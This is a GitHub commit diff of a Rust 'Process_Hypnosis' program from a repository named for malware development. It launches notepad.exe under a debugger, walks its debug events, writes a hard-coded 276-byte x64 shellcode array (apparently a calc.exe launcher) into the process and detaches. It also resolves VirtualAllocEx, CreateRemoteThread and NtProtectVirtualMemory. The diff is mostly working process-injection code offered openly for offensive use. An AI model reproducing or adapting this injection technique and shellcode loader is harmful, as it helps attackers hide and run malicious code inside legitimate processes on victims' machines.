1
-
2
1
/*
3
- Process_Hypnosis [Beta ]
2
+ Process_Hypnosis [Fixed ]
4
3
For more Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
4
+ References used:
5
+ https://github.com/CarlosG13/Process-Hypnosis-Debugger-assisted-control-flow-hijack.git
6
+ https://github.com/joaoviictorti/RustRedOps/tree/main/Process_Hypnosis
7
+
5
8
@5mukx
6
9
7
10
*/
8
11
9
-
10
- // Please Note: I Have been trying for hours to find the error occuring at ReadProcessMemory(1). So if
11
- // Anyone Finds it. Please dm me. I will try my best to research and Fix ASAP >! Luv u ALL ...
12
-
13
12
use std:: { ffi:: OsStr , os:: windows:: ffi:: OsStrExt , ptr:: null_mut} ;
14
13
15
- // use widestring::U16String;
16
- // ConvertThreadToFiber(null_mut());
17
- // SwitchToFiber(fiber_addr);
18
- // }
19
- // }
20
14
use winapi:: {
21
- ctypes:: { c_char, c_uchar , c_void} ,
15
+ ctypes:: { c_char, c_void} ,
22
16
um:: { debugapi:: { ContinueDebugEvent , DebugActiveProcessStop , WaitForDebugEvent } ,
23
17
errhandlingapi:: GetLastError ,
24
18
memoryapi:: { ReadProcessMemory , WriteProcessMemory } ,
25
19
minwinbase:: { DEBUG_EVENT , EXCEPTION_BREAKPOINT , LOAD_DLL_DEBUG_EVENT } ,
26
- processthreadsapi:: { CreateProcessW , PROCESS_INFORMATION , STARTUPINFOW }
27
- } } ;
20
+ processthreadsapi:: { CreateProcessW , PROCESS_INFORMATION , STARTUPINFOW } }
21
+ } ;
28
22
29
23
macro_rules! okey {
30
24
( $msg: expr, $( $arg: expr) , * ) => {
@@ -43,8 +37,6 @@ macro_rules! error {
43
37
type BOOL = i32 ;
44
38
type HANDLE = * mut c_void ;
45
39
46
- use windows_sys:: core:: s;
47
-
48
40
fn main ( ) {
49
41
let shellcode: [ u8 ; 276 ] = [
50
42
0xfc , 0x48 , 0x83 , 0xe4 , 0xf0 , 0xe8 , 0xc0 , 0x00 , 0x00 , 0x00 , 0x41 , 0x51 , 0x41 , 0x50 , 0x52 ,
@@ -66,7 +58,7 @@ fn main(){
66
58
0xd5 , 0x48 , 0x83 , 0xc4 , 0x28 , 0x3c , 0x06 , 0x7c , 0x0a , 0x80 , 0xfb , 0xe0 , 0x75 , 0x05 , 0xbb ,
67
59
0x47 , 0x13 , 0x72 , 0x6f , 0x6a , 0x00 , 0x59 , 0x41 , 0x89 , 0xda , 0xff , 0xd5 , 0x63 , 0x61 , 0x6c ,
68
60
0x63 , 0x2e , 0x65 , 0x78 , 0x65 , 0x00 ,
69
- ] ;
61
+ ] ;
70
62
71
63
unsafe {
72
64
let mut debug_info: DEBUG_EVENT = std:: mem:: zeroed ( ) ;
@@ -76,61 +68,51 @@ fn main(){
76
68
77
69
let mut process_info: PROCESS_INFORMATION = std:: mem:: zeroed ( ) ;
78
70
79
- // let path_name = U16String::from_str(r#"C:\Windows\Systen32\calc.exe"#);
80
- // let mut path_name:Vec<u16> = "C:\\Windows\\Systen32\\notepad.exe\0".encode_utf16().collect();
81
- // let path_name:Vec<u16> = OsStr::new("C\\Windows\\System32\\notepad.exe")
82
- // .encode_wide().chain(Some(0).into_iter()).collect();
83
-
84
71
let path_name: Vec < u16 > = OsStr :: new ( "C:\\ Windows\\ System32\\ notepad.exe" )
85
- . encode_wide ( )
86
- . chain ( std:: iter:: once ( 0 ) )
87
- . collect ( ) ;
88
-
89
- // let cmd_line_ptr = cmd_line.as_ptr();
72
+ . encode_wide ( )
73
+ . chain ( std:: iter:: once ( 0 ) )
74
+ . collect ( ) ;
90
75
91
76
let create_process = CreateProcessW (
92
77
null_mut ( ) ,
93
78
path_name. as_ptr ( ) as * mut u16 ,
94
79
null_mut ( ) ,
95
80
null_mut ( ) ,
96
81
0 ,
97
- // DEBUG_ONLY_THIS_PROCESS as u32, // DEBUG_ONLY_THIS_PROCESS 0x00000002
98
82
winapi:: um:: winbase:: DEBUG_ONLY_THIS_PROCESS ,
99
83
null_mut ( ) ,
100
84
null_mut ( ) ,
101
85
& mut startup_info,
102
86
& mut process_info,
103
87
) ;
104
-
105
88
106
89
if create_process == 0 {
107
90
println ! ( "Break 1" ) ;
108
- error ! ( "CreateProcessW Failed: {}" , GetLastError ( ) ) ;
91
+ error ! ( "CreateProcessW Failed: {}" , GetLastError ( ) ) ;
109
92
}
110
- // println!("Break 2");
111
93
112
- for num in 0 ..7 {
113
- if WaitForDebugEvent ( & mut debug_info, 0xFFFFFFFF ) != 0 {
94
+ for num in 0 ..7 {
95
+ if WaitForDebugEvent ( & mut debug_info, 0xFFFFFFFF ) != 0 {
114
96
115
- match debug_info. dwDebugEventCode {
97
+ match debug_info. dwDebugEventCode {
116
98
3 => { // CREATE_PROCESS_DEBUG_EVENT
117
- okey ! ( "Process PID: {}" , debug_info. dwProcessId) ;
118
- okey ! ( "Thread ID: {}" , debug_info. dwThreadId) ;
99
+ okey ! ( "Process PID: {}" , debug_info. dwProcessId) ;
100
+ okey ! ( "Thread ID: {}" , debug_info. dwThreadId) ;
119
101
okey ! ( "StartAddress: {:?}" , debug_info. u. CreateProcessInfo ( ) . lpStartAddress. unwrap( ) ) ;
120
- okey ! ( "Main Thread: {:?}" , debug_info. u. CreateProcessInfo ( ) . hThread) ;
102
+ okey ! ( "Main Thread: {:?}" , debug_info. u. CreateProcessInfo ( ) . hThread) ;
121
103
} ,
122
104
123
105
2 => { // CREATE_THREAD_DEBUG_EVENT
124
106
println ! ( ) ;
125
107
okey ! ( "Thread Created: {:?}" , debug_info. u. CreateThread ( ) . lpStartAddress) ;
126
- okey ! ( "Thread Handle: {:?}" , debug_info. u. CreateProcessInfo ( ) . hThread) ;
127
- okey ! ( "Thread ThreadLocalBase: {:?}" , debug_info. u. CreateThread ( ) . lpThreadLocalBase) ;
108
+ okey ! ( "Thread Handle: {:?}" , debug_info. u. CreateThread ( ) . hThread) ;
109
+ okey ! ( "Thread ThreadLocalBase: {:?}" , debug_info. u. CreateThread ( ) . lpThreadLocalBase) ;
128
110
} ,
129
111
130
- LOAD_DLL_DEBUG_EVENT => { // LOAD_DLL_DEBUG_EVENT // 6
112
+ LOAD_DLL_DEBUG_EVENT => { // LOAD_DLL_DEBUG_EVENT
131
113
let mut buffer = [ 0u8 ; std:: mem:: size_of :: < * mut c_void > ( ) ] ;
132
114
let mut return_number = 0 ;
133
-
115
+
134
116
let success = ReadProcessMemory (
135
117
process_info. hProcess ,
136
118
debug_info. u . LoadDll ( ) . lpImageName as * mut c_void ,
@@ -139,28 +121,25 @@ fn main(){
139
121
& mut return_number,
140
122
) ;
141
123
142
- // println!(" --> {:?}",debug_info.u.LoadDll().lpImageName);
143
- if success == 0 {
144
- error ! ( "ReadProcessMemory(1) Failed: {}" , GetLastError ( ) ) ;
124
+ if success == 0 {
125
+ error ! ( "ReadProcessMemory(1) Failed: {}" , GetLastError ( ) ) ;
145
126
}
146
127
147
- println ! ( ) ;
148
-
149
128
let dll_address = usize:: from_ne_bytes ( buffer) as * mut c_void ;
150
129
let mut image_name = vec ! [ 0u16 ; 260 ] ;
151
-
130
+
152
131
okey ! ( "DLL ADDRESS: {:?}" , dll_address) ;
153
132
154
133
let success = ReadProcessMemory (
155
134
process_info. hProcess ,
156
135
dll_address,
157
136
image_name. as_mut_ptr ( ) as _ ,
158
- image_name. len ( ) ,
137
+ image_name. len ( ) * std :: mem :: size_of :: < u16 > ( ) ,
159
138
& mut return_number,
160
139
) ;
161
140
162
- if success == 0 {
163
- error ! ( "ReadProcessMemory(2) Failed: {}" , GetLastError ( ) ) ;
141
+ if success == 0 {
142
+ error ! ( "ReadProcessMemory(2) Failed: {}" , GetLastError ( ) ) ;
164
143
}
165
144
166
145
if let Some ( first_null) = image_name. iter ( ) . position ( |& c| c == 0 ) {
@@ -171,17 +150,15 @@ fn main(){
171
150
okey ! ( "DLL Name: {}" , dll_name. trim_end_matches( '\0' ) ) ;
172
151
okey ! ( "DLL Base Address: {:?}" , debug_info. u. LoadDll ( ) . lpBaseOfDll) ;
173
152
okey ! ( "DLL H_File: {:?}" , debug_info. u. LoadDll ( ) . hFile) ;
174
-
175
153
} ,
176
154
177
155
1 => { //EXCEPTION_DEBUG_EVENT
178
156
if debug_info. u . Exception ( ) . ExceptionRecord . ExceptionCode == EXCEPTION_BREAKPOINT {
179
- okey ! ( "BreakPoint Successfully Triggered {}" , '!' ) ;
157
+ okey ! ( "BreakPoint Successfully Triggered {}" , '!' ) ;
180
158
}
181
- } ,
159
+ } ,
182
160
183
161
_ => { }
184
-
185
162
}
186
163
187
164
if num == 6 {
@@ -194,27 +171,26 @@ fn main(){
194
171
& mut number_of_write,
195
172
) ;
196
173
197
- if success == 0 {
198
- error ! ( "WriteProcessMemory Failed: {}" , GetLastError ( ) ) ;
174
+ if success == 0 {
175
+ error ! ( "WriteProcessMemory Failed: {}" , GetLastError ( ) ) ;
199
176
}
200
177
201
178
let active_proc = DebugActiveProcessStop ( process_info. dwProcessId ) ;
202
179
203
- if active_proc == 0 {
204
- error ! ( "DebugActiveProcessStop Failed: {}" , GetLastError ( ) ) ;
180
+ if active_proc == 0 {
181
+ error ! ( "DebugActiveProcessStop Failed: {}" , GetLastError ( ) ) ;
205
182
}
206
183
}
207
184
208
-
209
185
if num < 6 {
210
186
let dbg_continue = ContinueDebugEvent (
211
187
process_info. dwProcessId ,
212
188
process_info. dwThreadId ,
213
189
0x00010002 , // DBG_CONTINUE
214
190
) ;
215
-
216
- if dbg_continue == 0 {
217
- error ! ( "ContinueDebugEvent Failed: {}" , GetLastError ( ) ) ;
191
+
192
+ if dbg_continue == 0 {
193
+ error ! ( "ContinueDebugEvent Failed: {}" , GetLastError ( ) ) ;
218
194
}
219
195
}
220
196
}
@@ -226,68 +202,69 @@ fn main(){
226
202
1
227
203
) ;
228
204
229
- if sym_success == 0 {
230
- error ! ( "SymInitialize Error: {}" , GetLastError ( ) ) ;
205
+ if sym_success == 0 {
206
+ error ! ( "SymInitialize Error: {}" , GetLastError ( ) ) ;
231
207
}
232
208
233
209
let mut symbol: SYMBOL_INFO = std:: mem:: zeroed ( ) ;
234
210
symbol. SizeOfStruct = std:: mem:: size_of :: < SYMBOL_INFO > ( ) as u32 ;
235
211
236
-
212
+ let virtual_alloc_addr : Vec < _ > = "VirtualAllocEx" . encode_utf16 ( ) . collect ( ) ;
237
213
let success = SymFromName (
238
214
0xffffffffffffffffu64 as _ ,
239
- s ! ( "VirtualAllocEx" ) ,
215
+ virtual_alloc_addr . as_ptr ( ) ,
240
216
& mut symbol
241
217
) ;
242
218
243
- if success == 0 {
244
- error ! ( "SymFromName Failed: {:?}" , GetLastError ( ) ) ;
219
+ if success == 0 {
220
+ error ! ( "SymFromName Failed: {:?}" , GetLastError ( ) ) ;
245
221
}
246
222
247
223
okey ! ( "Example Addr of VirtualAllocEx: {:?}" , symbol. Address as * mut c_void) ;
248
224
225
+ let create_remote_thread: Vec < _ > = "CreateRemoteThread" . encode_utf16 ( ) . collect ( ) ;
249
226
let success = SymFromName (
250
227
0xffffffffffffffffu64 as _ ,
251
- s ! ( "CreateRemoteThread" ) ,
228
+ create_remote_thread . as_ptr ( ) ,
252
229
& mut symbol
253
230
) ;
254
231
255
- if success == 0 {
256
- error ! ( "SymFromName Failed: {:?}" , GetLastError ( ) ) ;
232
+ if success == 0 {
233
+ error ! ( "SymFromName Failed: {:?}" , GetLastError ( ) ) ;
257
234
}
258
235
259
236
okey ! ( "Example Addr of CreateRemoteThread: {:?}" , symbol. Address as * mut c_void) ;
260
237
238
+ let nt_protect_memory: Vec < _ > = "NtProtectVirtualMemory" . encode_utf16 ( ) . collect ( ) ;
261
239
let success = SymFromName (
262
240
0xffffffffffffffffu64 as _ ,
263
- s ! ( "NtProtectVirtualMemory" ) ,
241
+ // s!("NtProtectVirtualMemory"),
242
+ nt_protect_memory. as_ptr ( ) ,
264
243
& mut symbol
265
244
) ;
266
245
267
- if success == 0 {
268
- error ! ( "SymFromName Failed: {:?}" , GetLastError ( ) ) ;
246
+ if success == 0 {
247
+ error ! ( "SymFromName Failed: {:?}" , GetLastError ( ) ) ;
269
248
}
270
249
271
250
okey ! ( "Example Addr of NtProtectVirtualMemory: {:?}" , symbol. Address as * mut c_void) ;
272
251
}
273
-
274
252
}
275
253
276
-
277
254
#[ link( name = "Dbghelp" ) ]
278
255
#[ allow( non_snake_case) ]
279
256
extern "system" {
280
257
pub fn SymInitialize (
281
258
hProcess : HANDLE ,
282
- UserSearchPath : * const c_char , // *const c_char
259
+ UserSearchPath : * const c_char ,
283
260
fInvadeProcess : BOOL ,
284
261
) -> BOOL ;
285
262
}
286
263
287
264
extern "system" {
288
265
pub fn SymFromName (
289
266
hprocess : HANDLE ,
290
- name : * const c_uchar ,
267
+ name : * const u16 ,
291
268
symbol : * mut SYMBOL_INFO
292
269
) -> BOOL ;
293
270
}
@@ -299,7 +276,6 @@ pub struct SYMBOL_INFO_FLAGS(pub u32);
299
276
#[ allow( non_snake_case, non_camel_case_types) ]
300
277
#[ repr( C ) ]
301
278
pub struct SYMBOL_INFO {
302
-
303
279
pub SizeOfStruct : u32 ,
304
280
pub TypeIndex : u32 ,
305
281
pub Reserved : [ u64 ; 2 ] ,
@@ -319,6 +295,52 @@ pub struct SYMBOL_INFO {
319
295
320
296
#[ repr( transparent) ]
321
297
#[ allow( non_camel_case_types) ]
322
- pub struct PROCESS_CREATION_FLAGS ( pub u32 ) ;
298
+ pub struct HANDLE_FLAGS ( pub u32 ) ;
323
299
324
- pub const DEBUG_ONLY_THIS_PROCESS : PROCESS_CREATION_FLAGS = PROCESS_CREATION_FLAGS ( 0x00000002 ) ;
300
+ #[ repr( transparent) ]
301
+ #[ allow( non_camel_case_types) ]
302
+ pub struct MEMORY_INFORMATION_CLASS ( pub u32 ) ;
303
+
304
+ #[ repr( transparent) ]
305
+ #[ allow( non_camel_case_types) ]
306
+ pub struct PVOID ( pub * mut c_void ) ;
307
+
308
+ #[ repr( transparent) ]
309
+ #[ allow( non_camel_case_types) ]
310
+ pub struct PSIZE_T ( pub * mut usize ) ;
311
+
312
+ #[ repr( transparent) ]
313
+ #[ allow( non_camel_case_types) ]
314
+ pub struct PROCESSINFOCLASS ( pub u32 ) ;
315
+
316
+ #[ repr( transparent) ]
317
+ #[ allow( non_camel_case_types) ]
318
+ pub struct SECTION_INHERIT ( pub u32 ) ;
319
+
320
+ #[ repr( transparent) ]
321
+ #[ allow( non_camel_case_types) ]
322
+ pub struct SIZE_T ( pub usize ) ;
323
+
324
+ #[ repr( transparent) ]
325
+ #[ allow( non_camel_case_types) ]
326
+ pub struct ULONG ( pub u32 ) ;
327
+
328
+ #[ repr( transparent) ]
329
+ #[ allow( non_camel_case_types) ]
330
+ pub struct ULONG_PTR ( pub usize ) ;
331
+
332
+ #[ repr( transparent) ]
333
+ #[ allow( non_camel_case_types) ]
334
+ pub struct ULONG64 ( pub u64 ) ;
335
+
336
+ #[ repr( transparent) ]
337
+ #[ allow( non_camel_case_types) ]
338
+ pub struct USHORT ( pub u16 ) ;
339
+
340
+ #[ repr( transparent) ]
341
+ #[ allow( non_camel_case_types) ]
342
+ pub struct WCHAR ( pub u16 ) ;
343
+
344
+ #[ repr( transparent) ]
345
+ #[ allow( non_camel_case_types) ]
346
+ pub struct WORD ( pub u16 ) ;
0 commit comments